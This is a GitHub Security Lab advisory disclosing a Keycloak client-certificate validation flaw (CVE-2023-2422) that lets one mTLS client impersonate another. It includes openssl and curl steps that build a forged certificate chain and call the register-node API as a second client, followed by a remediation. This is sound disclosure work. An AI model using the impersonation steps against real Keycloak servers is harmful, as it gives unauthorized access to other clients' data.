skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
July 12, 2023

GHSL-2023-083: Improper certificate validation in KeyCloak - CVE-2023-2422

Michael Stepankin

Coordinated Disclosure Timeline

Summary

When a Keycloak server is configured to support mTLS authentication for OAuth/OpenID clients, it does not properly verify the client certificate chain. A client that possesses a proper certificate can authorize itself as any other client and therefore access data that belongs to other clients.

Product

Keycloak

Tested Version

v21.0.2

Details

Improper Client Certificate Validation in X509ClientAuthenticator.java (GHSL-2023-083,CVE-2023-28857)

Keycloak supports mTLS authentication for OAuth clients: clients may be configured to support “X509 Certificate” type of authentication. In this scenario, clients are asked to provide a valid certificate chain during the TLS handshake. The underlying HTTPS server checks the validity of this certificate and also checks the client’s possession of the private key. If the certificate check is successful, HTTPS server passes this information to the Keycloak application to extract the username (clientId).

Keycloak uses X509ClientAuthenticator class for extracting information from the TLS session.

X509Certificate[] certs = null;
ClientModel client = null;
try {
    certs = provider.getCertificateChain(context.getHttpRequest());
    String client_id = null;
    ...
    if (formData != null) {
        client_id = formData.getFirst(OAuth2Constants.CLIENT_ID);
    }

In a nutshell, this class extracts the subjectDN name from the certificate and matches it with the “client_id” request form parameter. Note that this class does not check the validity of the provided certificate, as it’s already checked by the HTTPS server. If the certificate is not trusted, the connection won’t be established at all and X509ClientAuthenticator.authenticateClient is not invoked.

While this is a standard scenario for mTLS authentication, the problem lies in the process of how Keycloak extracts the client information from the certificate chain. Instead of taking only the first certificate from the chain, Keycloak iterates over the full chain until it finds the certificate that matches client_Id form parameter:

matchedCertificate = Arrays.stream(certs)
    .map(certificate -> certificate.getSubjectDN().getName())
    .filter(subjectdn -> subjectDNPattern.matcher(subjectdn).matches())
    .findFirst();

This creates a subtle problem, as the java HTTPS server only verifies the first certificate in the chain. You can find the platform code that checks the chain in sun.security.ssl.CertificateMessage.T12CertificateConsumer#checkClientCerts that leads to sun.security.validator.PKIXValidator#engineValidate On the other hand, Keycloak’s code in X509ClientAuthenticator.authenticateClient trusts any certificate in the chain provided during TLS handshake.

If a malicious client sends a certificate chain that has two end-entity certificates, only the first one will be checked for signature. Hence, it is possible to add a custom self-signed certificate with the subject name of any user to the end of the chain, and it will be passed to X509ClientAuthenticator.authenticateClient.

Impact

This issue may lead to client impersonation. A client that possesses a valid certificate can authorize itself as any other client and therefore access data that belongs to other clients.

Steps to reproduce

For demonstration purposes, we can set up a Keycloak server running on HTTPS with mTLS enabled for two clients.

1. First, we need to generate some certificates for the server and clients. For simplicity, we can use server certificate as a CA for client certificates:

mkdir /tmp/keycloak && cd /tmp/keycloak
openssl req -newkey rsa:2048 -nodes -x509 -subj /CN=localhost -keyout server.key -out server.crt

openssl req -newkey rsa:2048 -nodes  -subj /CN=client1 -keyout client1.key -out client1.csr
openssl x509 -req -in client1.csr -CA server.crt -CAkey server.key -CAcreateserial -out client1.crt

openssl req -newkey rsa:2048 -nodes  -subj /CN=client2 -keyout client2.key -out client2.csr
openssl x509 -req -in client2.csr -CA server.crt -CAkey server.key -CAcreateserial -out client2.crt

keytool -import -keystore truststore.jks -noprompt -trustcacerts -file server.crt

2. Then, we run Keycloak with the following command to enable mTLS:

bin/kc.sh start-dev \
--https-certificate-file=/tmp/keycloak/server.crt \
--https-certificate-key-file=/tmp/keycloak/server.key \
--https-client-auth=request \
--https-trust-store-file=/tmp/keycloak/truststore.jks \
--https-trust-store-password=password

3. Next, we need to create at least two OAuth clients and configure them to use mTLS. We can create them in the Admin UI at http://127.0.0.1:8443/admin. Go to the “Clients” menu and create a new OpenID client with the name “client1”

4. After the client is created, go to its “Credentials” tab and enable the “X509 Certificate” authenticator for this client. Set “CN=client1” as a Subject DN. X509 Certificate authenticator

5. Do the same for the second client, use “client2” for client ID and “CN=client2” for the Subject DN. 6. Now our test setup is done, so we are ready to demonstrate the exploitation. Let’s say that client1 is an attacker: in this scenario it has access to the client certificate (client1.crt) and client key (client1.key). Normally, a client can use the generated certificate in the following way:

cat client1.crt client1.key > chain1.pem
curl --tlsv1.2 --tls-max 1.2 --cert chain1.pem -v -i -s -k "https://127.0.0.1:8443/realms/master/clients-managements/register-node?client_id=client1" -d "client_cluster_host=http://127.0.0.1:1213/"

For demonstration, we’re going to use the POST /clients-managements/register-node API, as it changes client properties on server but does not require any other authentication apart from mTLS.

7. Now the exploit part. The client1 can also use this API on behalf of client2 without knowing their certificate or private key. All the client1 need to do is to generate a self-signed certificate and append it to the end of the chain:

openssl req -newkey rsa:2048 -nodes -x509 -subj /CN=client2 -out client2-fake.crt
cat client1.crt client1.key client2-fake.crt client1.key > chain2.pem
curl --tlsv1.2 --tls-max 1.2 --cert chain2.pem -v -i -s -k "https://127.0.0.1:8443/realms/master/clients-managements/register-node?client_id=client2" -d "client_cluster_host=http://127.0.0.1:1213/"

Therefore, the POST /clients-managements/register-node API will be executed on behalf of the client2, so there is a vulnerability leading to user impersonation. If all went fine, the server should respond with 204 HTTP status code.

Here is how it looks in the network traffic captured by wireshark: wireshark

Note: you can set the breakpoint at X509ClientAuthenticator.authenticateClient and debug to make sure the client2 is authorized in this case.

Remediation

For client_id matching, use only the first certificate in the array returned by provider.getCertificateChain(context.getHttpRequest()). This way, you can be sure that the client’s certificate and private key has been validated during the TLS handshake.

Credit

This issue was discovered and reported by GHSL team member @artsploit (Michael Stepankin).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-083 in any communication regarding this issue.